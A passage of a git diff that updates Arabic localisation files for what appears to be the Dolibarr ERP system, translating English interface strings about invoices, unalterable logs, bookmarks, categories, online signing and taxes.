وإعدادها. لاحظ أنه يمكن استخدام كلتا الطريقتين (يدويًا وآليًا) مع عدم وجود خطر التكرار. DeleteRepeatableInvoice=حذف قالب الفاتورة ConfirmDeleteRepeatableInvoice=هل أنت متأكد أنك تريد حذف قالب الفاتورة؟ -CreateOneBillByThird=Create one invoice per third party (otherwise, one invoice per selected object) +CreateOneBillByThird=إنشاء فاتورة واحدة لكل طرف ثالث (خلاف ذلك ، فاتورة واحدة لكل كائن محدد) BillCreated=%s إصدار فاتورة (فواتير) BillXCreated=تم إنشاء %s الفاتورة StatusOfGeneratedDocuments=حالة إنشاء الوثيقة @@ -606,9 +620,14 @@ SupplierInvoicesArea=منطقة فواتير المورد SituationTotalRayToRest=ما تبقى للدفع بدون ضريبة PDFSituationTitle=Situation n° %d SituationTotalProgress=إجمالي التقدم %d %% -SearchUnpaidInvoicesWithDueDate=Search unpaid invoices with a due date = %s -NoPaymentAvailable=No payment available for %s -PaymentRegisteredAndInvoiceSetToPaid=Payment registered and invoice %s set to paid -SendEmailsRemindersOnInvoiceDueDate=Send reminder by email for unpaid invoices -MakePaymentAndClassifyPayed=Record payment -BulkPaymentNotPossibleForInvoice=Bulk payment is not possible for invoice %s (bad type or status) +SearchUnpaidInvoicesWithDueDate=البحث في الفواتير غير المسددة بتاريخ استحقاق = %s +NoPaymentAvailable=لا توجد مدفوعات متاحة مقابل %s +PaymentRegisteredAndInvoiceSetToPaid=تم تسجيل الدفعة وتم تعيين الفاتورة %s على الدفع +SendEmailsRemindersOnInvoiceDueDate=إرسال تذكير عن طريق البريد الإلكتروني للفواتير غير المسددة +MakePaymentAndClassifyPayed=دفع قياسي +BulkPaymentNotPossibleForInvoice=الدفع بالجملة غير ممكن للفاتورة %s (نوع أو حالة سيئة) +MentionVATDebitOptionIsOn=Option to pay tax based on debits +MentionCategoryOfOperations=Category of operations +MentionCategoryOfOperations0=Delivery of goods +MentionCategoryOfOperations1=Provision of services +MentionCategoryOfOperations2=Mixed - Delivery of goods & provision of services diff --git a/htdocs/langs/ar_SA/blockedlog.lang b/htdocs/langs/ar_SA/blockedlog.lang index 021cbd00dc9..9117eae5929 100644 --- a/htdocs/langs/ar_SA/blockedlog.lang +++ b/htdocs/langs/ar_SA/blockedlog.lang @@ -1,57 +1,61 @@ -BlockedLog=Unalterable Logs +BlockedLog=سجلات غير قابلة للتغيير Field=حقل -BlockedLogDesc=This module tracks some events into an unalterable log (that you can't modify once recorded) into a block chain, in real time. This module provides compatibility with requirements of laws of some countries (like France with the law Finance 2016 - Norme NF525). -Fingerprints=Archived events and fingerprints -FingerprintsDesc=This is the tool to browse or extract the unalterable logs. Unalterable logs are generated and archived locally into a dedicated table, in real time when you record a business event. You can use this tool to export this archive and save it into an external support (some countries, like France, ask that you do it every year). Note that, there is no feature to purge this log and every change tried to be done directly into this log (by a hacker for example) will be reported with a non-valid fingerprint. If you really need to purge this table because you used your application for a demo/test purpose and want to clean your data to start your production, you can ask your reseller or integrator to reset your database (all your data will be removed). -CompanyInitialKey=Company initial key (hash of genesis block) -BrowseBlockedLog=Unalterable logs -ShowAllFingerPrintsMightBeTooLong=Show all archived logs (might be long) -ShowAllFingerPrintsErrorsMightBeTooLong=Show all non-valid archive logs (might be long) -DownloadBlockChain=Download fingerprints -KoCheckFingerprintValidity=Archived log entry is not valid. It means someone (a hacker?) has modified some data of this record after it was recorded, or has erased the previous archived record (check that line with previous # exists) or has modified checksum of the previous record. -OkCheckFingerprintValidity=Archived log record is valid. The data on this line was not modified and the entry follows the previous one. -OkCheckFingerprintValidityButChainIsKo=Archived log seems valid compared to previous one but the chain was corrupted previously. -AddedByAuthority=Stored into remote authority -NotAddedByAuthorityYet=Not yet stored into remote authority -ShowDetails=Show stored details -logPAYMENT_VARIOUS_CREATE=Payment (not assigned to an invoice) created -logPAYMENT_VARIOUS_MODIFY=Payment (not assigned to an invoice) modified -logPAYMENT_VARIOUS_DELETE=Payment (not assigned to an invoice) logical deletion -logPAYMENT_ADD_TO_BANK=Payment added to bank -logPAYMENT_CUSTOMER_CREATE=Customer payment created -logPAYMENT_CUSTOMER_DELETE=Customer payment logical deletion -logDONATION_PAYMENT_CREATE=Donation payment created -logDONATION_PAYMENT_DELETE=Donation payment logical deletion -logBILL_PAYED=Customer invoice paid -logBILL_UNPAYED=Customer invoice set unpaid +BlockedLogDesc=تتعقب هذه الوحدة بعض الأحداث في سجل غير قابل للتغيير (لا يمكنك تعديله بمجرد تسجيله) في سلسلة كتل ، في الوقت الفعلي. توفر هذه الوحدة التوافق مع متطلبات قوانين بعض البلدان (مثل فرنسا مع قانون المالية 2016 - Norme NF525). +Fingerprints=أرشفة الأحداث وبصمات الأصابع +FingerprintsDesc=هذه هي الأداة لتصفح أو استخراج السجلات غير القابلة للتغيير. يتم إنشاء السجلات غير القابلة للتغيير وأرشفتها محليًا في جدول مخصص ، في الوقت الفعلي عند تسجيل حدث عمل. يمكنك استخدام هذه الأداة لتصدير هذا الأرشيف وحفظه في دعم خارجي (بعض البلدان ، مثل فرنسا ، تطلب منك القيام بذلك كل عام). لاحظ أنه لا توجد ميزة لمسح هذا السجل وسيتم الإبلاغ عن كل تغيير يتم إجراؤه مباشرةً في هذا السجل (بواسطة مخترق على سبيل المثال) ببصمة إصبع غير صالحة. إذا كنت حقًا بحاجة إلى مسح هذا الجدول لأنك استخدمت التطبيق الخاص بك لغرض تجريبي / اختبار وترغب في تنظيف بياناتك لبدء الإنتاج ، يمكنك أن تطلب من البائع أو المُدمج إعادة تعيين قاعدة البيانات الخاصة بك (ستتم إزالة جميع بياناتك). +CompanyInitialKey=مفتاح الشركة الأولي (تجزئة كتلة التكوين) +BrowseBlockedLog=سجلات غير قابلة للتغيير +ShowAllFingerPrintsMightBeTooLong=إظهار كافة السجلات المؤرشفة (قد تكون طويلة) +ShowAllFingerPrintsErrorsMightBeTooLong=إظهار كافة سجلات الأرشيف غير الصالحة (قد تكون طويلة) +DownloadBlockChain=تنزيل بصمات الأصابع +KoCheckFingerprintValidity=إدخال السجل المؤرشف غير صالح. هذا يعني أن شخصًا ما (متسلل؟) قد قام بتعديل بعض بيانات هذا السجل بعد تسجيله ، أو قام بمسح السجل المؤرشف السابق (تحقق من وجود هذا السطر مع الرقم السابق) أو قام بتعديل المجموع الاختباري للسجل السابق. +OkCheckFingerprintValidity=سجل السجل المؤرشف صالح. لم يتم تعديل البيانات الموجودة في هذا السطر ويتبع الإدخال السابق. +OkCheckFingerprintValidityButChainIsKo=يبدو السجل المؤرشف صالحًا مقارنةً بالسجل السابق ولكن السلسلة تالفة سابقًا. +AddedByAuthority=مخزنة في سلطة بعيدة +NotAddedByAuthorityYet=لم يتم تخزينها بعد في سلطة بعيدة +ShowDetails=إظهار التفاصيل المخزنة +BlockedLogBillDownload=تنزيل فاتورة العميل +BlockedLogBillPreview=معاينة فاتورة العميل +BlockedlogInfoDialog=تفاصيل السجل +ListOfTrackedEvents=قائمة الأحداث المتعقبة +Fingerprint=بصمة +DownloadLogCSV=تصدير السجلات المؤرشفة (CSV) +logDOC_PREVIEW=معاينة مستند تم التحقق من صحته من أجل الطباعة أو التنزيل +logDOC_DOWNLOAD=تنزيل مستند تم التحقق من صحته من أجل طباعته أو إرساله +DataOfArchivedEvent=البيانات الكاملة للحدث المؤرشف +ImpossibleToReloadObject=الكائن الأصلي (اكتب %s ، معرف %s) غير مرتبط (راجع عمود "البيانات الكاملة" للحصول على بيانات محفوظة غير قابلة للتغيير) +BlockedLogAreRequiredByYourCountryLegislation=قد تكون وحدة السجلات غير القابلة للتغيير مطلوبة بموجب تشريعات بلدك. قد يؤدي تعطيل هذه الوحدة إلى إبطال أي معاملات مستقبلية فيما يتعلق بالقانون واستخدام البرامج القانونية حيث لا يمكن التحقق من صحتها من خلال تدقيق ضريبي. +BlockedLogActivatedBecauseRequiredByYourCountryLegislation=تم تنشيط وحدة السجلات غير القابلة للتغيير بسبب تشريعات بلدك. قد يؤدي تعطيل هذه الوحدة إلى جعل أي معاملات مستقبلية غير صالحة فيما يتعلق بالقانون واستخدام البرامج القانونية حيث لا يمكن التحقق من صحتها عن طريق التدقيق الضريبي. +BlockedLogDisableNotAllowedForCountry=قائمة البلدان التي يكون فيها استخدام هذه الوحدة إلزاميًا (فقط لمنع تعطيل الوحدة عن طريق الخطأ ، إذا كان بلدك في هذه القائمة ، فلا يمكن تعطيل الوحدة النمطية بدون تحرير هذه القائمة أولاً. لاحظ أيضًا أن تمكين / تعطيل هذه الوحدة سيؤدي إلى الحفاظ على المسار في سجل غير قابل للتغيير). +OnlyNonValid=غير صالح +TooManyRecordToScanRestrictFilters=هناك عدد كبير جدًا من السجلات للمسح الضوئي / التحليل. يرجى تقييد القائمة بفلاتر أكثر تقييدًا. +RestrictYearToExport=تقييد شهر / سنة للتصدير +BlockedLogEnabled=تم تفعيل نظام لتتبع الأحداث إلى سجلات غير قابلة للتغيير +BlockedLogDisabled=تم تعطيل نظام لتتبع الأحداث إلى سجلات غير قابلة للتغيير بعد إجراء بعض التسجيلات. قمنا بحفظ بصمة إصبع خاصة لتتبع السلسلة على أنها مكسورة +BlockedLogDisabledBis=تم تعطيل نظام لتتبع الأحداث إلى سجلات غير قابلة للتغيير. هذا ممكن لأنه لم يتم عمل أي سجل حتى الآن. + +## logTypes +logBILL_DELETE=فاتورة العميل محذوفة منطقيا +logBILL_PAYED=فاتورة العميل مدفوعة +logBILL_SENTBYMAIL=فاتورة العميل ترسل بالبريد +logBILL_UNPAYED=مجموعة فاتورة العميل غير مدفوعة logBILL_VALIDATE=فاتورة مصادق -logBILL_SENTBYMAIL=Customer invoice send by mail -logBILL_DELETE=Customer invoice logically deleted -logMODULE_RESET=Module BlockedLog was disabled -logMODULE_SET=Module BlockedLog was enabled -logDON_VALIDATE=Donation validated -logDON_MODIFY=Donation modified -logDON_DELETE=Donation logical deletion -logMEMBER_SUBSCRIPTION_CREATE=Member subscription created -logMEMBER_SUBSCRIPTION_MODIFY=Member subscription modified -logMEMBER_SUBSCRIPTION_DELETE=Member subscription logical deletion -logCASHCONTROL_VALIDATE=Cash desk closing recording -BlockedLogBillDownload=Customer invoice download -BlockedLogBillPreview=Customer invoice preview -BlockedlogInfoDialog=Log Details -ListOfTrackedEvents=List of tracked events -Fingerprint=Fingerprint -DownloadLogCSV=Export archived logs (CSV) -logDOC_PREVIEW=Preview of a validated document in order to print or download -logDOC_DOWNLOAD=Download of a validated document in order to print or send -DataOfArchivedEvent=Full datas of archived event -ImpossibleToReloadObject=Original object (type %s, id %s) not linked (see 'Full datas' column to get unalterable saved data) -BlockedLogAreRequiredByYourCountryLegislation=Unalterable Logs module may be required by the legislation of your country. Disabling this module may render any future transactions invalid with respect to the law and the use of legal software as they can not be validated by a tax audit. -BlockedLogActivatedBecauseRequiredByYourCountryLegislation=Unalterable Logs module was activated because of the legislation of your country. Disabling this module may render any future transactions invalid with respect to the law and the use of legal software as they cannot be validated by a tax audit. -BlockedLogDisableNotAllowedForCountry=List of countries where usage of this module is mandatory (just to prevent to disable the module by error, if your country is in this list, disable of module is not possible without editing this list first. Note also that enabling/disabling this module will keep a track into the unalterable log). -OnlyNonValid=Non-valid -TooManyRecordToScanRestrictFilters=Too many records to scan/analyze. Please restrict list with more restrictive filters. -RestrictYearToExport=Restrict month / year to export -BlockedLogEnabled=System to track events into unalterable logs has been enabled -BlockedLogDisabled=System to track events into unalterable logs has been disabled after some recording were done. We saved a special Fingerprint to track the chain as broken -BlockedLogDisabledBis=System to track events into unalterable logs has been disabled. This is possible because no record were done yet. +logCASHCONTROL_VALIDATE=تسجيل إغلاق مكتب النقدية +logDOC_DOWNLOAD=تنزيل مستند تم التحقق من صحته من أجل طباعته أو إرساله +logDOC_PREVIEW=معاينة مستند تم التحقق من صحته من أجل الطباعة أو التنزيل +logDONATION_PAYMENT_CREATE=تم إنشاء دفعة التبرع +logDONATION_PAYMENT_DELETE=الحذف المنطقي لدفع التبرع +logDON_DELETE=التبرع الحذف المنطقي +logDON_MODIFY=تم تعديل التبرع +logDON_VALIDATE=تم التحقق من صحة التبرع +logMEMBER_SUBSCRIPTION_CREATE=تم إنشاء اشتراك الأعضاء +logMEMBER_SUBSCRIPTION_DELETE=الحذف المنطقي لاشتراك العضو +logMEMBER_SUBSCRIPTION_MODIFY=تم تعديل اشتراك العضو +logMODULE_RESET=تم تعطيل Module BlockedLog +logMODULE_SET=تم تمكين Module BlockedLog +logPAYMENT_ADD_TO_BANK=تمت إضافة الدفعة إلى البنك +logPAYMENT_CUSTOMER_CREATE=تم إنشاء دفع العميل +logPAYMENT_CUSTOMER_DELETE=الحذف المنطقي لدفع العميل +logPAYMENT_VARIOUS_CREATE=تم إنشاء الدفعة (لم يتم تعيينها لفاتورة) +logPAYMENT_VARIOUS_DELETE=الحذف المنطقي للدفع (غير مخصص لفاتورة) +logPAYMENT_VARIOUS_MODIFY=تم تعديل الدفعة (لم يتم تعيينها لفاتورة) diff --git a/htdocs/langs/ar_SA/bookmarks.lang b/htdocs/langs/ar_SA/bookmarks.lang index a65ddf2e059..3d0c4068458 100644 --- a/htdocs/langs/ar_SA/bookmarks.lang +++ b/htdocs/langs/ar_SA/bookmarks.lang @@ -6,17 +6,18 @@ ListOfBookmarks=قائمة الإشارات المرجعية EditBookmarks=قائمة / تحرير الإشارات المرجعية NewBookmark=إشارة مرجعية جديدة ShowBookmark=وتظهر علامة -OpenANewWindow=Open a new tab -ReplaceWindow=Replace current tab -BookmarkTargetNewWindowShort=New tab -BookmarkTargetReplaceWindowShort=Current tab -BookmarkTitle=Bookmark name +OpenANewWindow=افتح علامة تبويب جديدة +ReplaceWindow=استبدال علامة التبويب الحالية +BookmarkTargetNewWindowShort=علامة تبويب جديدة +BookmarkTargetReplaceWindowShort=علامة التبويب الحالية +BookmarkTitle=اسم المرجعية UrlOrLink=العنوان BehaviourOnClick=السلوك عند تحديد عنوان للإشارة المرجعية CreateBookmark=إنشاء إشارة مرجعية -SetHereATitleForLink=Set a name for the bookmark -UseAnExternalHttpLinkOrRelativeDolibarrLink=Use an external/absolute link (https://externalurl.com) or an internal/relative link (/mypage.php). You can also use phone like tel:0123456. -ChooseIfANewWindowMustBeOpenedOnClickOnBookmark=Choose if the linked page should open in the current tab or a new tab +SetHereATitleForLink=حدد اسمًا للإشارة المرجعية +UseAnExternalHttpLinkOrRelativeDolibarrLink=استخدم رابطًا خارجيًا / مطلقًا (https://externalurl.com) أو رابطًا داخليًا / نسبيًا (/mypage.php). يمكنك أيضًا استخدام الهاتف مثل الهاتف: 0123456. +ChooseIfANewWindowMustBeOpenedOnClickOnBookmark=اختر ما إذا كان يجب فتح الصفحة المرتبطة في علامة التبويب الحالية أو علامة تبويب جديدة BookmarksManagement=إدارة الإشارات المرجعية BookmarksMenuShortCut=Ctrl + shift + m -NoBookmarks=No bookmarks defined +NoBookmarks=لم يتم تحديد إشارات مرجعية +NoBookmarkFound=No bookmark found diff --git a/htdocs/langs/ar_SA/categories.lang b/htdocs/langs/ar_SA/categories.lang index 49df6dddd3b..c36fe5f7bc7 100644 --- a/htdocs/langs/ar_SA/categories.lang +++ b/htdocs/langs/ar_SA/categories.lang @@ -3,23 +3,23 @@ Rubrique=العلامة / الفئة Rubriques=الكلمات / فئات RubriquesTransactions=علامات/ فئات المعاملات categories=علامات / فئات -NoCategoryYet=No tag/category of this type has been created +NoCategoryYet=لم يتم إنشاء علامة / فئة من هذا النوع In=في AddIn=اضف الى modify=تعديل Classify=صنف CategoriesArea=منطقة الكلمات / الفئات -ProductsCategoriesArea=Product/Service tags/categories area -SuppliersCategoriesArea=Vendor tags/categories area -CustomersCategoriesArea=Customer tags/categories area -MembersCategoriesArea=Member tags/categories area -ContactsCategoriesArea=Contact tags/categories area -AccountsCategoriesArea=Bank account tags/categories area -ProjectsCategoriesArea=Project tags/categories area -UsersCategoriesArea=User tags/categories area -SubCats=Sub-categories +ProductsCategoriesArea=منطقة علامات / فئات المنتج / الخدمة +SuppliersCategoriesArea=منطقة علامات / فئات البائعين +CustomersCategoriesArea=منطقة علامات / فئات العملاء +MembersCategoriesArea=منطقة علامات الأعضاء / الفئات +ContactsCategoriesArea=علامات الاتصال / منطقة الفئات +AccountsCategoriesArea=منطقة علامات / فئات الحساب المصرفي +ProjectsCategoriesArea=علامات المشروع / منطقة الفئات +UsersCategoriesArea=علامات المستخدم / منطقة الفئات +SubCats=الفئات الفرعية CatList=قائمة العلامات / الفئات -CatListAll=List of tags/categories (all types) +CatListAll=قائمة العلامات / الفئات (جميع الأنواع) NewCategory=علامة / فئة جديدة ModifCat=تعديل العلامة / الفئة CatCreated=تم إنشاء العلامة / الفئة @@ -33,7 +33,7 @@ WasAddedSuccessfully=تمت إضافة %s بنجاح. ObjectAlreadyLinkedToCategory=العنصر مرتبط بالفعل بهذه العلامة / الفئة. ProductIsInCategories=المنتج / الخدمة مرتبط بـ العلامات / الفئات التالية CompanyIsInCustomersCategories=هذا الطرف الثالث مرتبط بـ العملاء / العملاء المحتملون العلامات / فئات التالية  -CompanyIsInSuppliersCategories=This third party is linked to following vendors tags/categories +CompanyIsInSuppliersCategories=هذا الطرف الثالث مرتبط بعلامات / فئات البائعين التالية MemberIsInCategories=هذا العضو مرتبط بـ علامات / فئات الأعضاء التالية ContactIsInCategories=ويرتبط هذا الاتصال إلى علامات / فئات جهات الاتصال التالية ProductHasNoCategory=هذا المنتج / الخدمة ليست في أي علامات / فئات @@ -42,6 +42,7 @@ MemberHasNoCategory=هذا العضو ليس في أي علامات / فئات ContactHasNoCategory=هذا الاتصال ليس في أي علامات / فئات ProjectHasNoCategory=هذا المشروع ليس في أي علامات / فئات ClassifyInCategory=إضافة إلى العلامة / الفئة +RemoveCategory=Remove category NotCategorized=دون علامة / فئة CategoryExistsAtSameLevel=هذه الفئة موجودة بالفعل مع هذا المرجع ContentsVisibleByAllShort=المحتويات مرئية للجميع @@ -49,52 +50,56 @@ ContentsNotVisibleByAllShort=المحتويات غير مرئية من قبل ا DeleteCategory=حذف العلامة / الفئة ConfirmDeleteCategory=هل تريد بالتأكيد حذف هذه العلامة / الفئة؟ NoCategoriesDefined=لم يتم تحديد أي علامة / فئة -SuppliersCategoryShort=Vendors tag/category +SuppliersCategoryShort=علامة البائعين / الفئة CustomersCategoryShort=علامة / فئة العملاء  ProductsCategoryShort=علامة / فئة المنتجات  MembersCategoryShort=علامة / فئة الأعضاء  -SuppliersCategoriesShort=Vendors tags/categories +SuppliersCategoriesShort=علامات / فئات البائعين CustomersCategoriesShort=علامات / فئات العملاء  ProspectsCategoriesShort=علامات/ فئات الاحتمال -CustomersProspectsCategoriesShort=Cust./Prosp. tags/categories +CustomersProspectsCategoriesShort=الزبون. / بروسب. العلامات / الفئات ProductsCategoriesShort=علامات / فئات المنتجات  MembersCategoriesShort=علامات / فئات الأعضاء  ContactCategoriesShort=علامات / فئات جهات الاتصال  AccountsCategoriesShort=علامات / فئات الحسابات  ProjectsCategoriesShort=علامات / فئات المشاريع  -UsersCategoriesShort=Users tags/categories -StockCategoriesShort=Warehouse tags/categories -ThisCategoryHasNoItems=This category does not contain any items. +UsersCategoriesShort=علامات المستخدمين / الفئات +StockCategoriesShort=علامات / فئات المستودعات +ThisCategoryHasNoItems=هذه الفئة لا تحتوي على أي عناصر. CategId=معرف العلامة / الفئة -ParentCategory=Parent tag/category -ParentCategoryLabel=Label of parent tag/category -CatSupList=List of vendors tags/categories -CatCusList=List of customers/prospects tags/categories +ParentCategory=العلامة الأصلية / الفئة +ParentCategoryID=ID of parent tag/category +ParentCategoryLabel=تسمية العلامة / الفئة الأصل +CatSupList=قائمة بعلامات / فئات البائعين +CatCusList=قائمة بعلامات / فئات العملاء / العملاء المحتملين CatProdList=قائمة علامات / فئات المنتجات  CatMemberList=قائمة علامات / فئات الأعضاء  -CatContactList=List of contacts tags/categories -CatProjectsList=List of projects tags/categories -CatUsersList=List of users tags/categories -CatSupLinks=Links between vendors and tags/categories +CatContactList=قائمة العلامات / الفئات جهات الاتصال +CatProjectsList=قائمة علامات / فئات المشاريع +CatUsersList=قائمة علامات المستخدمين / الفئات +CatSupLinks=الروابط بين البائعين والعلامات / الفئات CatCusLinks=الروابط بين العملاء / احتمال والعلامات / فئات -CatContactsLinks=Links between contacts/addresses and tags/categories +CatContactsLinks=الروابط بين الأسماء / العناوين والعلامات / الفئات CatProdLinks=الروابط بين المنتجات / الخدمات والعلامات / الفئات CatMembersLinks=الروابط بين أفراد والعلامات / فئات CatProjectsLinks=الروابط بين المشاريع والعلامات / الفئات -CatUsersLinks=Links between users and tags/categories +CatUsersLinks=الروابط بين المستخدمين والعلامات / الفئات DeleteFromCat=إزالة من العلامة / الفئة ExtraFieldsCategories=سمات تكميلية CategoriesSetup=إعداد العلامات / الفئات CategorieRecursiv=ربط مع العلامة / الفئة الاب تلقائيا -CategorieRecursivHelp=If option is on, when you add a product into a subcategory, product will also be added into the parent category. +CategorieRecursivHelp=If option is on, when you add an object into a subcategory, the object will also be added into the parent categories. AddProductServiceIntoCategory=أضف المنتج / الخدمة التالية -AddCustomerIntoCategory=Assign category to customer -AddSupplierIntoCategory=Assign category to supplier +AddCustomerIntoCategory=تعيين فئة للعميل +AddSupplierIntoCategory=تعيين فئة للمورد +AssignCategoryTo=تعيين فئة إلى ShowCategory=إظهار العلامة / الفئة ByDefaultInList=افتراضيا في القائمة -ChooseCategory=Choose category -StocksCategoriesArea=Warehouse Categories -ActionCommCategoriesArea=Event Categories -WebsitePagesCategoriesArea=Page-Container Categories -KnowledgemanagementsCategoriesArea=KM article Categories -UseOrOperatorForCategories=Use 'OR' operator for categories +ChooseCategory=اختر الفئة +StocksCategoriesArea=فئات المستودعات +TicketsCategoriesArea=فئات التذاكر +ActionCommCategoriesArea=فئات الحدث +WebsitePagesCategoriesArea=فئات حاوية الصفحة +KnowledgemanagementsCategoriesArea=فئات مقالة KM +UseOrOperatorForCategories=استخدم عامل التشغيل "OR" للفئات +AddObjectIntoCategory=أضف كائنًا إلى الفئة diff --git a/htdocs/langs/ar_SA/commercial.lang b/htdocs/langs/ar_SA/commercial.lang index e3a95602dec..adc0dcdb097 100644 --- a/htdocs/langs/ar_SA/commercial.lang +++ b/htdocs/langs/ar_SA/commercial.lang @@ -74,8 +74,16 @@ StatusProsp=احتمال وضع DraftPropals=صياغة مقترحات تجارية NoLimit=لا حدود ToOfferALinkForOnlineSignature=رابط للتوقيع عبر الإنترنت -WelcomeOnOnlineSignaturePage=مرحبًا بك في الصفحة لقبول العروض التجارية من %s -ThisScreenAllowsYouToSignDocFrom=تسمح لك هذه الشاشة بقبول وتوقيع أو رفض عرض أسعار / عرض تجاري -ThisIsInformationOnDocumentToSign=هذه معلومات على الوثيقة لقبولها أو رفضها +WelcomeOnOnlineSignaturePageProposal=مرحبًا بك في الصفحة لقبول العروض التجارية من %s +WelcomeOnOnlineSignaturePageContract=Welcome to %s Contract PDF Signing Page +WelcomeOnOnlineSignaturePageFichinter=Welcome to %s Intervention PDF Signing Page +ThisScreenAllowsYouToSignDocFromProposal=تسمح لك هذه الشاشة بقبول وتوقيع أو رفض عرض أسعار / عرض تجاري +ThisScreenAllowsYouToSignDocFromContract=This screen allow you to sign contract on PDF format online. +ThisScreenAllowsYouToSignDocFromFichinter=This screen allow you to sign intervention on PDF format online. +ThisIsInformationOnDocumentToSignProposal=هذه معلومات على الوثيقة لقبولها أو رفضها +ThisIsInformationOnDocumentToSignContract=This is information on contract to sign +ThisIsInformationOnDocumentToSignFichinter=This is information on intervention to sign SignatureProposalRef=توقيع عرض الأسعار / العرض التجاري %s +SignatureContractRef=Signature of contract %s +SignatureFichinterRef=Signature of intervention %s FeatureOnlineSignDisabled=تم تعطيل ميزة التوقيع عبر الإنترنت أو تم إنشاء المستند قبل تمكين الميزة diff --git a/htdocs/langs/ar_SA/compta.lang b/htdocs/langs/ar_SA/compta.lang index 364e6d90e70..0d5c0b3cc1c 100644 --- a/htdocs/langs/ar_SA/compta.lang +++ b/htdocs/langs/ar_SA/compta.lang @@ -29,39 +29,41 @@ BalanceBefore=الميزان (قبل) Balance=التوازن Debit=الخصم Credit=الائتمان +AccountingDebit=الخصم +AccountingCredit=الائتمان Piece=تمثل الوثيقة. AmountHTVATRealReceived=جمعت HT AmountHTVATRealPaid=HT المدفوعة VATToPay=المبيعات الضريبية VATReceived=تم استلام الضريبة VATToCollect=المشتريات الضريبية -VATSummary=Tax monthly -VATBalance=Tax Balance -VATPaid=Tax paid -LT1Summary=Tax 2 summary -LT2Summary=Tax 3 summary +VATSummary=ضريبة شهرية +VATBalance=رصيد الضريبة +VATPaid=الضريبة المدفوعة +LT1Summary=ملخص الضريبة 2 +LT2Summary=ملخص الضريبة 3 LT1SummaryES=RE الميزان LT2SummaryES=IRPF الرصيد -LT1SummaryIN=CGST Balance -LT2SummaryIN=SGST Balance -LT1Paid=Tax 2 paid -LT2Paid=Tax 3 paid +LT1SummaryIN=ميزان CGST +LT2SummaryIN=ميزان SGST +LT1Paid=دفع الضريبة 2 +LT2Paid=دفع الضريبة 3 LT1PaidES=RE المدفوعة LT2PaidES=مدفوع IRPF -LT1PaidIN=CGST Paid -LT2PaidIN=SGST Paid -LT1Customer=Tax 2 sales -LT1Supplier=Tax 2 purchases +LT1PaidIN=مدفوعة CGST +LT2PaidIN=مدفوعة SGST +LT1Customer=ضريبة المبيعات 2 +LT1Supplier=ضريبة مشتريات 2 LT1CustomerES=RE المبيعات LT1SupplierES=RE المشتريات -LT1CustomerIN=CGST sales -LT1SupplierIN=CGST purchases -LT2Customer=Tax 3 sales -LT2Supplier=Tax 3 purchases +LT1CustomerIN=مبيعات CGST +LT1SupplierIN=مشتريات CGST +LT2Customer=ضريبة المبيعات 3 +LT2Supplier=3 ضريبة المشتريات LT2CustomerES=مبيعات IRPF LT2SupplierES=مشتريات IRPF -LT2CustomerIN=SGST sales -LT2SupplierIN=SGST purchases +LT2CustomerIN=مبيعات SGST +LT2SupplierIN=مشتريات SGST VATCollected=جمعت ضريبة القيمة المضافة StatusToPay=دفع SpecialExpensesArea=منطقة لجميع المدفوعات الخاصة @@ -70,7 +72,7 @@ SocialContribution=الضريبة الاجتماعية أو المالية SocialContributions=الضرائب الاجتماعية أو المالية SocialContributionsDeductibles=Deductible social or fiscal taxes SocialContributionsNondeductibles=Nondeductible social or fiscal taxes -DateOfSocialContribution=Date of social or fiscal tax +DateOfSocialContribution=تاريخ الضريبة الاجتماعية أو المالية LabelContrib=Label contribution TypeContrib=Type contribution MenuSpecialExpenses=المصروفات الخاصة @@ -80,16 +82,16 @@ MenuNewSocialContribution=الضريبة الاجتماعية / مالية جد NewSocialContribution=الضريبة الاجتماعية / مالية جديدة AddSocialContribution=Add social/fiscal tax ContributionsToPay=الضرائب الاجتماعية / المالية لدفع -AccountancyTreasuryArea=Billing and payment area +AccountancyTreasuryArea=منطقة الفواتير والدفع NewPayment=دفع جديدة PaymentCustomerInvoice=الزبون تسديد الفاتورة -PaymentSupplierInvoice=vendor invoice payment +PaymentSupplierInvoice=دفع فاتورة البائع PaymentSocialContribution=اجتماعي / دفع الضرائب المالية PaymentVat=دفع ضريبة القيمة المضافة -AutomaticCreationPayment=Automatically record the payment +AutomaticCreationPayment=سجل الدفع تلقائيًا ListPayment=قائمة المدفوعات ListOfCustomerPayments=قائمة مدفوعات العملاء -ListOfSupplierPayments=List of vendor payments +ListOfSupplierPayments=قائمة مدفوعات البائعين DateStartPeriod=تاريخ بداية الفترة DateEndPeriod=تاريخ انتهاء الفترة newLT1Payment=جديد الضريبية 2 الدفع @@ -106,25 +108,25 @@ LT2PaymentES=IRPF الدفع LT2PaymentsES=الدفعات IRPF VATPayment=Sales tax payment VATPayments=Sales tax payments -VATDeclarations=VAT declarations -VATDeclaration=VAT declaration +VATDeclarations=إقرارات ضريبة القيمة المضافة +VATDeclaration=إقرار ضريبة القيمة المضافة VATRefund=Sales tax refund -NewVATPayment=New sales tax payment -NewLocalTaxPayment=New tax %s payment +NewVATPayment=دفع ضريبة المبيعات الجديدة +NewLocalTaxPayment=دفعة جديدة للضريبة %s Refund=رد SocialContributionsPayments=الاجتماعية المدفوعات / الضرائب المالية ShowVatPayment=وتظهر دفع ضريبة القيمة المضافة TotalToPay=على دفع ما مجموعه -BalanceVisibilityDependsOnSortAndFilters=Balance is visible in this list only if table is sorted on %s and filtered on 1 bank account (with no other filters) -CustomerAccountancyCode=Customer accounting code -SupplierAccountancyCode=Vendor accounting code +BalanceVisibilityDependsOnSortAndFilters=يظهر الرصيد في هذه القائمة فقط إذا تم فرز الجدول على %s وتصفيته على حساب مصرفي واحد (بدون عوامل تصفية أخرى) +CustomerAccountancyCode=كود محاسبة العملاء +SupplierAccountancyCode=كود محاسبة البائع CustomerAccountancyCodeShort=الزبون. حساب. رمز SupplierAccountancyCodeShort=سوب. حساب. رمز AccountNumber=رقم الحساب NewAccountingAccount=حساب جديد Turnover=Turnover invoiced TurnoverCollected=Turnover collected -SalesTurnoverMinimum=Minimum turnover +SalesTurnoverMinimum=الحد الأدنى من معدل الدوران ByExpenseIncome=By expenses & incomes ByThirdParties=بو أطراف ثالثة ByUserAuthorOfInvoice=فاتورة من قبل المؤلف @@ -135,26 +137,28 @@ NewCheckReceipt=خصم جديد NewCheckDeposit=تأكد من ايداع جديدة NewCheckDepositOn=تهيئة لتلقي الودائع على حساب : ٪ ق NoWaitingChecks=No checks awaiting deposit. -DateChequeReceived=Check receiving date -NbOfCheques=No. of checks +DateChequeReceived=تحقق من تاريخ الاستلام +NbOfCheques=عدد الشيكات PaySocialContribution=دفع ضريبة اجتماعية / مالية -PayVAT=Pay a VAT declaration -PaySalary=Pay a salary card -ConfirmPaySocialContribution=Are you sure you 